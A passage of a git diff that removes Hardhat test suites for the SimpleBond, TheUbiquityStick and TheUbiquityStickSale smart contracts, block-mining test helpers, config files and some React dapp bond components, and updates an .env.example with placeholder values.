zeroAddress = "0x0000000000000000000000000000000000000000"; -const ten = BigNumber.from(10); -const bigOne = ten.pow(18); -const amountToMint = bigOne.mul(1000); -const allowance = bigOne.mul(500); -const rewardsRatio = ten.pow(6).mul(1732); - -describe("SimpleBond", function () { - let signer: SignerWithAddress; - let treasury: SignerWithAddress; - - let lp: LP; - let uAR: UAR; - let simpleBond: SimpleBond; - let theUbiquityStick: TheUbiquityStick; - - before(async () => { - ({ deployer: signer, treasury } = await ethers.getNamedSigners()); - console.log(signer.address, "signer"); - console.log(treasury.address, "treasury"); - - // Deploy contract if not already - if (!(await ethers.getContractOrNull("SimpleBond"))) { - console.log("Deploying..."); - await deployments.fixture(["SimpleBond"]); - } - - simpleBond = await ethers.getContract("SimpleBond", signer); - uAR = await ethers.getContract("UAR", signer); - - const uarOwner = await uAR.owner(); - console.log("uAR owner", uarOwner); - - lp = await ethers.getContract("LP", signer); - console.log(lp.address, "lp"); - - // MINT 1000 LP tokens - await (await lp.mint(amountToMint)).wait(); - console.log("lp balance signer", String(await lp.balanceOf(signer.address))); - - // APPROVE 500 LP tokens to be spent by simpleBond - await (await lp.approve(simpleBond.address, allowance)).wait(); - - // SET REWARDS - await (await simpleBond.setRewards(lp.address, rewardsRatio)).wait(); - - theUbiquityStick = await ethers.getContract("TheUbiquityStick"); - }); - - afterEach(async () => { - console.log("BLOCK", await ethers.provider.getBlockNumber()); - - const bondsCount = Number(await simpleBond.bondsCount(signer.address)); - for (let index = 0; index < bondsCount; index++) { - console.log(`\nBOND #${index}`); - const bond = await simpleBond.bonds(signer.address, index); - console.log(`${utils.formatEther(bond.amount)} amount`); - console.log(`${utils.formatEther(bond.rewards)} rewards`); - console.log(`${utils.formatEther(bond.claimed)} claimed`); - console.log(`${bond.block} block`); - console.log(`${bond.token.substring(0, 6)}... token`); - } - - console.log(`\n${bondsCount} BOND${bondsCount > 1 ? "s" : ""}`); - const [rewards, rewardsClaimed, rewardsClaimable] = await simpleBond.rewardsOf(signer.address); - console.log(`${utils.formatEther(rewards)} rewards`); - console.log(`${utils.formatEther(rewardsClaimed)} rewardsClaimed`); - console.log(`${utils.formatEther(rewardsClaimable)} rewardsClaimable`); - - console.log(`\n`); - }); - - it("Should be ok", async function () { - expect(signer.address).to.be.properAddress; - expect(simpleBond.address).to.be.properAddress; - expect(theUbiquityStick.address).to.be.properAddress; - expect(uAR.address).to.be.properAddress; - expect(lp.address).to.be.properAddress; - }); - - it("Should bond if no Sticker NFT set ", async function () { - await (await simpleBond.setSticker(zeroAddress)).wait(); - await (await simpleBond.bond(lp.address, bigOne.mul(100))).wait(); - expect(await simpleBond.bondsCount(signer.address)).to.be.equal(1); - }); - - it("Should not bond without Sticker NFT", async function () { - await (await simpleBond.setSticker(theUbiquityStick.address)).wait(); - await expect(simpleBond.bond(lp.address, bigOne.mul(100))).to.be.revertedWith("Not NFT Stick owner"); - }); - - it("Should bond with Sticker NFT", async function () { - await expect((await theUbiquityStick.connect(signer).safeMint(signer.address)).wait()).to.be.not.reverted; - await (await simpleBond.bond(lp.address, bigOne.mul(100))).wait(); - expect(await simpleBond.bondsCount(signer.address)).to.be.equal(2); - }); - - it("Wait 2 000 blocks to 2 000+", async function () { - await mineNBlocks(2000); - }); - - it("Should claim rewards", async function () { - await simpleBond.claim(); - }); - - it("Wait 2 000 blocks to 4 000+", async function () { - await mineNBlocks(2000); - }); - it("Wait 20 000 blocks to 24 000+", async function () { - await mineNBlocks(20000); - }); - it("Wait 20 000 blocks to 44 000+", async function () { - await mineNBlocks(20000); - }); - - it("Should claim rewards", async function () { - console.log("uAR owner", await uAR.owner()); - await simpleBond.claim(); - }); - - it("Should bond again", async function () { - await simpleBond.bond(lp.address, bigOne.mul(100)); - }); - - it("Wait 2000 blocks", async function () { - await mineNBlocks(2000); - }); - - it("Wait 30000 blocks", async function () { - await mineNBlocks(30000); - }); - - it("Should withdraw LPs", async function () { - await simpleBond.withdraw(lp.address, bigOne.mul(200)); - }); - - it("Should claim rewards", async function () { - await simpleBond.claim(); - }); - - it("Should set rewards ratio", async function () { - expect(await simpleBond.rewardsRatio(lp.address)).to.be.equal(rewardsRatio); - - const newRewardsRatio = ten.pow(5).mul(48); - await (await simpleBond.setRewards(lp.address, newRewardsRatio)).wait(); - expect(await simpleBond.rewardsRatio(lp.address)).to.be.equal(newRewardsRatio); - - await (await simpleBond.setRewards(lp.address, rewardsRatio)).wait(); - expect(await simpleBond.rewardsRatio(lp.address)).to.be.equal(rewardsRatio); - }); - - it("Should pause bonding and claiming", async function () { - await simpleBond.bond(lp.address, bigOne); - - await expect(simpleBond.pause()).to.be.not.reverted; - - await expect(simpleBond.bond(lp.address, bigOne)).to.be.revertedWith("Pausable: paused"); - await expect(simpleBond.claim()).to.be.revertedWith("Pausable: paused"); - await expect(simpleBond.claimBond(0)).to.be.revertedWith("Pausable: paused"); - - await expect(simpleBond.unpause()).to.be.not.reverted; - - await expect(simpleBond.bond(lp.address, bigOne)).to.be.not.reverted; - await expect(simpleBond.claim()).to.be.not.reverted; - }); -}); diff --git a/packages/contracts/ubiquistick/tests/TheUbiquityStick.ts b/packages/contracts/ubiquistick/tests/TheUbiquityStick.ts deleted file mode 100644 index af7a4e096..000000000 --- a/packages/contracts/ubiquistick/tests/TheUbiquityStick.ts +++ /dev/null @@ -1,138 +0,0 @@ -import { expect } from "chai"; -import { ethers, deployments, network, getChainId } from "hardhat"; -import { TheUbiquityStick } from "../types/TheUbiquityStick"; -import tokenURIs from "../metadata/json.json"; -import { SignerWithAddress } from "hardhat-deploy-ethers/signers"; - -describe("TheUbiquityStick", function () { - let theUbiquityStick: TheUbiquityStick; - let tokenIdStart: number; - - let minter: SignerWithAddress; - let tester1: SignerWithAddress; - let tester2: SignerWithAddress; - let random: SignerWithAddress; - - before(async () => { - const chainId = Number(await getChainId()); - console.log("network", chainId, network.name, network.live); - - ({ minter, tester1, tester2, random } = await ethers.getNamedSigners()); - // DEPLOY NFTPass contract if not already - if (!(await deployments.getOrNull("TheUbiquityStick"))) { - console.log("Deploy TheUbiquityStick..."); - await deployments.fixture(["TheUbiquityStick"]); - } - - // GET NFTPass contract - theUbiquityStick = await ethers.getContract("TheUbiquityStick", minter); - console.log("contract", theUbiquityStick.address); - - tokenIdStart = Number(await theUbiquityStick.tokenIdNext()); - console.log("tokenIdStart", tokenIdStart); - - const owner = await theUbiquityStick.owner(); - console.log("owner", owner); - }); - - it("Check contract ok", async function () { - expect(theUbiquityStick.address).to.be.properAddress; - expect(await theUbiquityStick.owner()).to.be.properAddress; - }); - - it("Check with ERC165 that theUbiquityStick is ERC721, ERC721Metadata, ERC721Enumerable compatible and not ERC721TokenReceiver", async function () { - const ERC721 = "0x80ac58cd"; - const ERC721TokenReceiver = "0x150b7a02"; - const ERC721Metadata = "0x5b5e139f"; - const ERC721Enumerable = "0x780e9d63"; - - expect(await theUbiquityStick.supportsInterface(ERC721)).to.be.true; - expect(await theUbiquityStick.supportsInterface(ERC721Metadata)).to.be.true; - expect(await theUbiquityStick.supportsInterface(ERC721Enumerable)).to.be.true; - expect(await theUbiquityStick.supportsInterface(ERC721TokenReceiver)).to.be.false; - }); - - it("Check mint", async function () { - // 1 NFT for tester 2 and 2 NFTs for tester1.address , second one will be burn - await expect((await theUbiquityStick.connect(minter).safeMint(tester1.address)).wait()).to.be.not.reverted; - await expect((await theUbiquityStick.connect(minter).safeMint(tester2.address)).wait()).to.be.not.reverted; - await expect((await theUbiquityStick.connect(minter).safeMint(tester1.address)).wait()).to.be.not.reverted; - await expect(theUbiquityStick.connect(tester1).safeMint(tester1.address)).to.be.reverted; - }); - - it("Check setMinter", async function () { - await expect(theUbiquityStick.connect(tester1).safeMint(tester1.address)).to.be.reverted; - await expect((await theUbiquityStick.connect(minter).setMinter(tester1.address)).wait()).to.be.not.reverted; - await expect((await theUbiquityStick.connect(tester1).safeMint(tester1.address)).wait()).to.be.not.reverted; - await expect(theUbiquityStick.connect(minter).safeMint(tester1.address)).to.be.reverted; - await expect((await theUbiquityStick.connect(minter).setMinter(minter.address)).wait()).to.be.not.reverted; - }); - - it("Check balanceOf", async function () { - expect(await theUbiquityStick.balanceOf(tester1.address)).to.be.gte(2); - expect(await theUbiquityStick.balanceOf(tester2.address)).to.be.gte(1); - expect(await theUbiquityStick.balanceOf(random.address)).to.be.equal(0); - }); - - it("Check ownerOf", async function () { - expect(await theUbiquityStick.ownerOf(tokenIdStart)).to.be.equal(tester1.address); - expect(await theUbiquityStick.ownerOf(tokenIdStart + 1)).to.be.equal(tester2.address); - expect(await theUbiquityStick.ownerOf(tokenIdStart + 2)).to.be.equal(tester1.address); - await expect(theUbiquityStick.ownerOf(0)).to.be.revertedWith("ERC721: owner query for nonexistent token"); - await expect(theUbiquityStick.ownerOf(1)).to.be.not.reverted; - await expect(theUbiquityStick.ownerOf(999)).to.be.revertedWith("ERC721: owner query for nonexistent token"); - }); - - it("Check burn", async function () { - await expect((await theUbiquityStick.connect(tester1).burn(tokenIdStart + 2)).wait()).to.be.not.reverted; - await expect(theUbiquityStick.connect(tester1).burn(tokenIdStart + 2)).to.be.revertedWith("ERC721: operator query for nonexistent token"); - await expect(theUbiquityStick.connect(tester1).burn(tokenIdStart + 1)).to.be.revertedWith("ERC721Burnable: caller is not owner nor approved"); - await expect(theUbiquityStick.connect(minter).burn(999)).to.be.revertedWith("ERC721: operator query for nonexistent token"); - }); - - it("Check setTokenURI", async function () { - await expect((await theUbiquityStick.connect(minter).setTokenURI(0, tokenURIs.standardJson)).wait()).to.be.not.reverted; - await expect((await theUbiquityStick.connect(minter).setTokenURI(1, tokenURIs.goldJson)).wait()).to.be.not.reverted; - await expect((await theUbiquityStick.connect(minter).setTokenURI(2, tokenURIs.invisibleJson)).wait()).to.be.not.reverted; - expect(await theUbiquityStick.tokenURI(tokenIdStart + 1)).to.be.oneOf([tokenURIs.standardJson, tokenURIs.goldJson, tokenURIs.invisibleJson]); - await expect(theUbiquityStick.connect(tester1).setTokenURI(0, tokenURIs.standardJson)).to.be.reverted; - await expect(theUbiquityStick.connect(tester1).setTokenURI(1, tokenURIs.standardJson)).to.be.reverted; - }); - - it("Mint lot of NFTs", async function () { - const nn = network.name === "hardhat" ? 1024 : network.name === "rinkeby" ? 16 : network.name === "matic" ? 1 : 0; - - if (nn) { - const tokenIdMin = Number(await theUbiquityStick.tokenIdNext()); - for (let i = tokenIdMin; i < tokenIdMin + nn; i++) { - await (await theUbiquityStick.connect(minter).safeMint(tester1.address)).wait(); - } - expect(await theUbiquityStick.balanceOf(tester1.address)).to.be.gte(nn); - - const tokenIdMax = Number(await theUbiquityStick.tokenIdNext()); - expect(tokenIdMax).to.be.equal(tokenIdMin + nn); - console.log("nTotal", nn); - } - }); - - it("Check gold pourcentage about 1.5%", async function () { - let nGold = 0; - let goldies = ""; - - const tokenIdMax = Number(await theUbiquityStick.tokenIdNext()); - console.log("tokenIdMax", tokenIdMax); - - for (let i = 0; i < tokenIdMax; i++) - if (await theUbiquityStick.gold(i)) { - goldies += ` ${i}`; - nGold++; - } - console.log("nGold", nGold, goldies); - - const ratio = (100 * nGold) / tokenIdMax; - console.log("ratio ", ratio, "%"); - - // if nn big enough expect ratio around theoritical 1,5 - if (tokenIdMax > 300) expect(ratio).to.be.gt(1).and.to.be.lt(3); - }); -}); diff --git a/packages/contracts/ubiquistick/tests/TheUbiquityStickSale.ts b/packages/contracts/ubiquistick/tests/TheUbiquityStickSale.ts deleted file mode 100644 index 1dd7c6923..000000000 --- a/packages/contracts/ubiquistick/tests/TheUbiquityStickSale.ts +++ /dev/null @@ -1,246 +0,0 @@ -import { expect } from "chai"; -import { ethers, deployments, getNamedAccounts, network, getChainId } from "hardhat"; -import { Signer, BigNumber, utils } from "ethers"; -import { TheUbiquityStick } from "../types/TheUbiquityStick"; -import { TheUbiquityStickSale } from "../types/TheUbiquityStickSale"; - -const { provider } = ethers; - -const one = BigNumber.from(10).pow(18); -const gwei = BigNumber.from(10).pow(9); -const gas = gwei.mul(100000); - -const MAXIMUM_SUPPLY = 1024; -const count = 34; -const price = one.mul(3); - -describe("TheUbiquityStickSale", () => { - let theUbiquityStick: TheUbiquityStick; - let theUbiquityStickSale: TheUbiquityStickSale; - - let minter: string; - let tester1: string; - let tester2: string; - let random: string; - let treasury: string; - - let minterSigner: Signer; - let tester1Signer: Signer; - let randomSigner: Signer; - - const mint = async (signer: Signer, count: number, price: BigNumber): Promise => { - const signerAddress = await signer.getAddress(); - const totalSupplyBefore = await theUbiquityStick.totalSupply(); - - await (await theUbiquityStickSale.setAllowance(signerAddress, count, price)).wait(); - - await expect( - signer.sendTransaction({ - to: theUbiquityStickSale.address, - value: price.mul(count).add(gas), - }) - ) - .to.emit(theUbiquityStickSale, "Mint") - .withArgs(signerAddress, count, price.mul(count)); - - const totalSupplyAfter = await theUbiquityStick.totalSupply(); - - console.log(`${totalSupplyBefore} ${totalSupplyAfter}`); - return totalSupplyAfter.sub(totalSupplyBefore); - }; - - before(async () => { - const chainId = Number(await getChainId()); - console.log("network", chainId, network.name, network.live); - - const namedAccounts = await getNamedAccounts(); - ({ minter, tester1, tester2, random, treasury } = namedAccounts); - - minterSigner = provider.getSigner(minter); - tester1Signer = provider.getSigner(tester1); - randomSigner = provider.getSigner(random); - - if (!(await ethers.getContractOrNull("TheUbiquityStickSale"))) { - console.log("Deploy TheUbiquityStickSale..."); - await deployments.fixture(["TheUbiquityStickSale"]); - } - theUbiquityStickSale = await ethers.getContract("TheUbiquityStickSale", minterSigner); - theUbiquityStick = await ethers.getContract("TheUbiquityStick", minterSigner); - }); - - it("Check contract ok", async () => { - expect(theUbiquityStickSale.address).to.be.properAddress; - expect(await theUbiquityStickSale.owner()).to.be.properAddress; - }); - - describe("TheUbiquityStickSale view functions", () => { - it("Check MAXIMUM_SUPPLY", async () => { - expect(await theUbiquityStickSale.MAXIMUM_SUPPLY()).to.be.equal(MAXIMUM_SUPPLY); - }); - it("Check tokenContract", async () => { - expect(await theUbiquityStickSale.tokenContract()).to.be.equal(theUbiquityStick.address); - }); - it("Check fundsAddress", async () => { - expect(await theUbiquityStickSale.fundsAddress()).to.be.equal(treasury); - }); - it("Check allowance", async () => { - const allow = await theUbiquityStickSale.allowance(random); - expect(allow.count).to.be.equal(0); - expect(allow.price).to.be.equal(0); - }); - it("Check owner", async () => { - expect(await theUbiquityStickSale.owner()).to.be.equal(minter); - }); - }); - - describe("TheUbiquityStickSale set functions", () => { - it("Check setTokenContract", async () => { - await (await theUbiquityStickSale.setTokenContract(random)).wait(); - expect(await theUbiquityStickSale.tokenContract()).to.be.equal(random); - }); - it("Check setFundsAddress", async () => { - await (await theUbiquityStickSale.setFundsAddress(random)).wait(); - expect(await theUbiquityStickSale.fundsAddress()).to.be.equal(random); - }); - it("Check setAllowance", async () => { - await (await theUbiquityStickSale.setAllowance(random, count, price)).wait(); - const allow = await theUbiquityStickSale.allowance(random); - expect(allow.count).to.be.equal(count); - expect(allow.price).to.be.equal(price); - }); - it("Check batchSetAllowances", async () => { - await (await theUbiquityStickSale.batchSetAllowances([tester1, tester2], [count, count * 2], [one, price])).wait(); - const allow1 = await theUbiquityStickSale.allowance(tester1); - expect(allow1.count).to.be.equal(count); - expect(allow1.price).to.be.equal(one); - const allow2 = await theUbiquityStickSale.allowance(tester2); - expect(allow2.count).to.be.equal(count * 2); - expect(allow2.price).to.be.equal(price); - }); - }); - - describe("TheUbiquityStickSale modifiers", () => { - it("Check onlyOwner", async () => { - await expect(theUbiquityStickSale.connect(tester1Signer).setTokenContract(random)).to.be.revertedWith("Ownable: caller is not the owner"); - await expect(theUbiquityStickSale.connect(tester1Signer).setFundsAddress(random)).to.be.revertedWith("Ownable: caller is not the owner"); - await expect(theUbiquityStickSale.connect(tester1Signer).setAllowance(random, count, one)).to.be.revertedWith("Ownable: caller is not the owner"); - await expect( - theUbiquityStickSale.connect(tester1Signer).batchSetAllowances([tester1, tester2], [count, count * 2], [one, one.mul(3)]) - ).to.be.revertedWith("Ownable: caller is not the owner"); - await expect(theUbiquityStickSale.connect(tester1Signer).withdraw()).to.be.revertedWith("Ownable: caller is not the owner"); - }); - }); - - describe("TheUbiquityStickSale Minting", () => { - before(async () => { - await (await theUbiquityStickSale.setTokenContract(theUbiquityStick.address)).wait(); - await (await theUbiquityStickSale.setFundsAddress(treasury)).wait(); - }); - - afterEach(async () => { - console.log(`Minted ${await theUbiquityStick.totalSupply()}`); - console.log(`Balance Minter ${utils.formatEther(await provider.getBalance(random))}`); - console.log(`Balance Stick ${utils.formatEther(await provider.getBalance(theUbiquityStickSale.address))}`); - console.log(`Balance Treasury ${utils.formatEther(await provider.getBalance(treasury))}`); - }); - - it("Check Mint 1", async () => { - const totalSupplyBefore = await theUbiquityStick.totalSupply(); - await (await theUbiquityStickSale.setAllowance(random, 1, one)).wait(); - - await (await randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.add(gas) })).wait(); - - const totalSupplyAfter = await theUbiquityStick.totalSupply(); - expect(totalSupplyAfter.sub(totalSupplyBefore)).to.be.eq(1); - }); - - it("Check Mint 1 for free", async () => { - const totalSupplyBefore = await theUbiquityStick.totalSupply(); - await (await theUbiquityStickSale.setAllowance(random, 1, 0)).wait(); - - await (await randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.add(gas) })).wait(); - - const totalSupplyAfter = await theUbiquityStick.totalSupply(); - expect(totalSupplyAfter.sub(totalSupplyBefore)).to.be.eq(1); - }); - - it("Check Mint 1 at double price", async () => { - const totalSupplyBefore = await theUbiquityStick.totalSupply(); - await (await theUbiquityStickSale.setAllowance(random, 1, one.mul(2))).wait(); - - await (await randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.mul(2).add(gas) })).wait(); - - const totalSupplyAfter = await theUbiquityStick.totalSupply(); - expect(totalSupplyAfter.sub(totalSupplyBefore)).to.be.eq(1); - }); - - it("Check Mint not possible without allowance", async () => { - await expect(randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.add(gas) })).to.be.revertedWith( - "Not Whitelisted For The Sale Or Insufficient Allowance" - ); - }); - - it("Check Mint 10 maximum per transaction", async () => { - const totalSupplyBefore = await theUbiquityStick.totalSupply(); - await (await theUbiquityStickSale.setAllowance(random, 100, one)).wait(); - - await (await randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.mul(20).add(gas) })).wait(); - - const totalSupplyAfter = await theUbiquityStick.totalSupply(); - expect(totalSupplyAfter.sub(totalSupplyBefore)).to.be.eq(10); - }); - - it("Check Mint not possible without enough funds", async () => { - await (await theUbiquityStickSale.setAllowance(random, 1, one.mul(51))).wait(); - await expect(randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.mul(50).add(gas) })).to.be.revertedWith("Not enough Funds"); - }); - - it("Check Mint and emit Mint event", async () => { - const totalSupplyBefore = await theUbiquityStick.totalSupply(); - await (await theUbiquityStickSale.setAllowance(random, 2, one)).wait(); - - await expect(randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.mul(2).add(gas) })) - .to.emit(theUbiquityStickSale, "Mint") - .withArgs(random, 2, one.mul(2)); - - const totalSupplyAfter = await theUbiquityStick.totalSupply(); - expect(totalSupplyAfter.sub(totalSupplyBefore)).to.be.eq(2); - }); - - it("Check Mint emit Payback event", async () => { - const balanceBefore = await provider.getBalance(random); - const totalSupplyBefore = await theUbiquityStick.totalSupply(); - await (await theUbiquityStickSale.setAllowance(random, 3, one)).wait(); - - await expect(randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.mul(4).add(gas) })) - .to.emit(theUbiquityStickSale, "Payback") - .withArgs(random, one.mul(1).add(gas)); - - const totalSupplyAfter = await theUbiquityStick.totalSupply(); - expect(totalSupplyAfter.sub(totalSupplyBefore)).to.be.eq(3); - - const balanceAfter = await provider.getBalance(random); - expect(balanceBefore.sub(balanceAfter)).to.be.gt(one.mul(3)).and.lt(one.mul(301).div(100)); - }); - - it("Check intermediate withdraw", async () => { - await expect(theUbiquityStickSale.withdraw()).to.be.not.reverted; - }); - - it("Check Mint not possible when Sold out", async () => { - await (await theUbiquityStickSale.setAllowance(random, MAXIMUM_SUPPLY * 2, one)).wait(); - let i: number; - for (i = 0; i < 101; i++) { - process.stdout.write(`${i} `); - await randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: one.mul(12).add(gas) }); - } - console.log(i); - await expect(randomSigner.sendTransaction({ to: theUbiquityStickSale.address, value: gas })).to.be.revertedWith("Sold Out"); - expect(await theUbiquityStick.totalSupply()).to.be.equal(MAXIMUM_SUPPLY); - }); - - it("Check final withdraw", async () => { - await expect(theUbiquityStickSale.withdraw()).to.be.not.reverted; - }); - }); -}); diff --git a/packages/contracts/ubiquistick/tests/utils.ts b/packages/contracts/ubiquistick/tests/utils.ts deleted file mode 100644 index 3443e09fc..000000000 --- a/packages/contracts/ubiquistick/tests/utils.ts +++ /dev/null @@ -1,54 +0,0 @@ -import hre, { ethers, network } from "hardhat"; -import hardhatConfig from "../hardhat.config"; - -export async function forkReset(blockNumber: any) { - await hre.network.provider.request({ - method: "hardhat_reset", - params: [ - { - forking: { - jsonRpcUrl: hardhatConfig?.networks?.hardhat?.forking?.url, - blockNumber, - }, - }, - ], - }); -} - -export async function mineBlock(timestamp: any) { - await network.provider.request({ - method: "evm_mine", - params: [timestamp], - }); -} - -export async function sendEth(from: any, to: any, amount: any) { - await from.sendTransaction({ - to: to, - value: ethers.BigNumber.from(10).pow(18).mul(amount), - }); -} - -export async function mineNBlocks(blockCount: number, secondsBetweenBlock?: number): Promise { - const blockBefore = await ethers.provider.getBlock("latest"); - const maxMinedBlockPerBatch = 5000; - let blockToMine = blockCount; - let blockTime = blockBefore.timestamp; - while (blockToMine > maxMinedBlockPerBatch) { - // eslint-disable-next-line @typescript-eslint/no-loop-func - const minings = [...Array(maxMinedBlockPerBatch).keys()].map((_v, i) => { - const newTs = blockTime + i + (secondsBetweenBlock || 1); - return mineBlock(newTs); - }); - // eslint-disable-next-line no-await-in-loop - await Promise.all(minings); - blockToMine -= maxMinedBlockPerBatch; - blockTime = blockTime + maxMinedBlockPerBatch - 1 + maxMinedBlockPerBatch * (secondsBetweenBlock || 1); - } - const minings = [...Array(blockToMine).keys()].map((_v, i) => { - const newTs = blockTime + i + (secondsBetweenBlock || 1); - return mineBlock(newTs); - }); - // eslint-disable-next-line no-await-in-loop - await Promise.all(minings); -} diff --git a/packages/contracts/ubiquistick/tsconfig.json b/packages/contracts/ubiquistick/tsconfig.json deleted file mode 100644 index 6c485e4cd..000000000 --- a/packages/contracts/ubiquistick/tsconfig.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "compilerOptions": { - "baseUrl": "./", - "target": "es2018", - "module": "commonjs", - "strict": true, - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "allowJs": true, - "resolveJsonModule": true, - "outDir": "./artifacts/type" - }, - "include": ["./scripts", "./tests", "./deploy"], - "files": ["hardhat.config.ts"] -} diff --git a/packages/dapp/.env.example b/packages/dapp/.env.example index 8eca0a55a..55ca3da9b 100644 --- a/packages/dapp/.env.example +++ b/packages/dapp/.env.example @@ -1,2 +1,4 @@ # infura key created at infura.io -INFURA_ID=XXXXXX +NEXT_PUBLIC_JSON_RPC_URL=XXXXXX +NEXT_PUBLIC_WALLET_CONNECT_ID=XXXXXX +NEXT_PUBLIC_DEBUG= diff --git a/packages/dapp/.eslintrc b/packages/dapp/.eslintrc deleted file mode 100644 index 728e8af5d..000000000 --- a/packages/dapp/.eslintrc +++ /dev/null @@ -1,17 +0,0 @@ -{ - "root": true, - "parser": "@typescript-eslint/parser", - "plugins": ["@typescript-eslint", "prettier"], - "extends": ["eslint:recommended", "plugin:@typescript-eslint/recommended", "prettier"], - "ignorePatterns": ["contracts/"], - "rules": { - "@typescript-eslint/explicit-module-boundary-types": "off", - "@typescript-eslint/no-empty-function": "off", - "prettier/prettier": "warn" - }, - "env": { - "browser": true, - "amd": true, - "node": true - } -} diff --git a/packages/dapp/components/bonds/AllowanceManager.tsx b/packages/dapp/components/bonds/AllowanceManager.tsx deleted file mode 100644 index 1bc1c49b6..000000000 --- a/packages/dapp/components/bonds/AllowanceManager.tsx +++ /dev/null @@ -1,63 +0,0 @@ -import { useState } from "react"; -import Button from "../ui/Button"; -import PositiveNumberInput, { TextInput } from "../ui/PositiveNumberInput"; - -type AllowanceData = { - address: string; - count: string; - price: string; -}; - -type AllowanceManagerParams = { - defaultAddress: string; - onSubmit: (data: AllowanceData[]) => unknown; -}; - -const AllowanceManager = ({ defaultAddress, onSubmit }: AllowanceManagerParams) => { - // const [address, setAddress] = useState(defaultAddress || ""); - // const [count, setCount] = useState(""); - // const [price, setPrice] = useState(""); - const [allowances, setAllowances] = useState([{ address: defaultAddress || "", count: "", price: "" }]); - - const setAllowanceAt = (allowance: AllowanceData, index: number) => { - const newAllowances = allowances.concat([]); - newAllowances.splice(index, 1, allowance); - setAllowances(newAllowances); - }; - - const disableApply = allowances.some(({ address, count, price }) => !address || count === "" || price === ""); - - return ( -
-

Whitelist management

- -
- {allowances.map((allowance, i) => ( - setAllowanceAt(data, i)} /> - ))} -
- -
- - {allowances.length > 1 ? : null} -
-
- -
-
- ); -}; - -const AllowanceInputs = ({ data: { address, count, price }, setData }: { data: AllowanceData; setData: (data: AllowanceData) => void }) => { - return ( -
- setData({ address: val, count, price })} /> - setData({ address, count: val, price })} /> - setData({ address, count, price: val })} /> -
- ); -}; - -export default AllowanceManager; diff --git a/packages/dapp/components/bonds/App.tsx b/packages/dapp/components/bonds/App.tsx deleted file mode 100644 index 84ef475a5..000000000 --- a/packages/dapp/components/bonds/App.tsx +++ /dev/null @@ -1,157 +0,0 @@ -import { useState } from "react"; - -import { ensureERC20Allowance } from "@/lib/contracts-shortcuts"; -import { performTransaction } from "@/lib/utils"; - -import useLaunchPartyContracts from "./lib/hooks/useLaunchPartyContracts"; -import usePrices from "./lib/hooks/usePrices"; -import useSimpleBond from "./lib/hooks/useSimpleBond"; -import useUbiquistick from "./lib/hooks/useUbiquistick"; -import { goldenPool } from "./lib/pools"; - -import { ethers, utils } from "ethers"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import useWalletAddress from "../lib/hooks/useWalletAddress"; -import useWeb3Provider from "../lib/hooks/useWeb3Provider"; -import Button from "../ui/Button"; -import AllowanceManager from "./AllowanceManager"; -import FundingPools from "./FundingPools"; -import LaunchPartyHeader from "./Header"; -import Liquidate from "./Liquidate"; -import MultiplicationPool from "./MultiplicationPool"; -import RewardsManager from "./RewardsManager"; -import UbiquiStick from "./UbiquiStick"; -import YourBonds from "./YourBonds"; - -const App = () => { - const provider = useWeb3Provider(); - const [walletAddress] = useWalletAddress(); - const [, doTransaction, doingTransaction] = useTransactionLogger(); - - const [contracts, tokensContracts, { isSaleContractOwner, isSimpleBondOwner }] = useLaunchPartyContracts(); - const { sticks, allowance, tokenMedia, refreshUbiquistickData } = useUbiquistick(contracts); - const { rewardTokenBalance, tokensRatios, poolsData, bondsData, needsStick, refreshSimpleBondData } = useSimpleBond(contracts, tokensContracts); - const { uarUsdPrice } = usePrices(contracts, tokensContracts, poolsData); - - const [showAdminComponents, setShowAdminComponents] = useState(false); - - // ████████╗██████╗ █████╗ ███╗ ██╗███████╗ █████╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗███████╗ - // ╚══██╔══╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██╔══██╗██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║██╔════╝ - // ██║ ██████╔╝███████║██╔██╗ ██║███████╗███████║██║ ██║ ██║██║ ██║██╔██╗ ██║███████╗ - // ██║ ██╔══██╗██╔══██║██║╚██╗██║╚════██║██╔══██║██║ ██║ ██║██║ ██║██║╚██╗██║╚════██║ - // ██║ ██║ ██║██║ ██║██║ ╚████║███████║██║ ██║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║███████║ - // ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ - - const contractSetAllowance = async (data: { address: string; count: string; price: string }[]) => { - if (!isConnected || !isLoaded || doingTransaction) return; - - doTransaction("Setting allowance...", async () => { - if (data.length > 1) { - const addresses = data.map(({ address }) => address); - const counts = data.map(({ count }) => utils.parseUnits(count, "wei")); - const prices = data.map(({ price }) => utils.parseEther(price)); - await performTransaction(contracts.ubiquiStickSale.batchSetAllowances(addresses, counts, prices)); - } else { - const { address, count, price } = data[0]; - await performTransaction(contracts.ubiquiStickSale.setAllowance(address, utils.parseUnits(count, "wei"), utils.parseEther(price))); - } - await refreshUbiquistickData(); - }); - }; - - const contractMintUbiquistick = async () => { - if (!isConnected || !isLoaded || doingTransaction) return; - - await doTransaction("Minting Ubiquistick...", async () => { - await performTransaction( - provider.getSigner().sendTransaction({ - to: contracts.ubiquiStickSale.address, - value: ethers.utils.parseEther(allowance.price.toString()), - }) - ); - await refreshUbiquistickData(); - }); - }; - - const contractSimpleBondSetReward = async ({ token, ratio }: { token: string; ratio: ethers.BigNumber }) => { - if (!isConnected || !isLoaded || doingTransaction) return; - doTransaction("Setting reward...", async () => { - await performTransaction(contracts.simpleBond.setRewards(token, ratio)); - await refreshSimpleBondData(); - }); - }; - - const contractDepositAndBond = async ({ token, amount }: { token: string; amount: number }) => { - if (!isConnected || !isLoaded || doingTransaction || tokensContracts.length === 0) return; - if (!token || !amount) return; - const contract = tokensContracts.find((tc) => tc.address === token); - if (!contract) return; - doTransaction("Depositing...", async () => { - const decimals = await contract.decimals(); - const 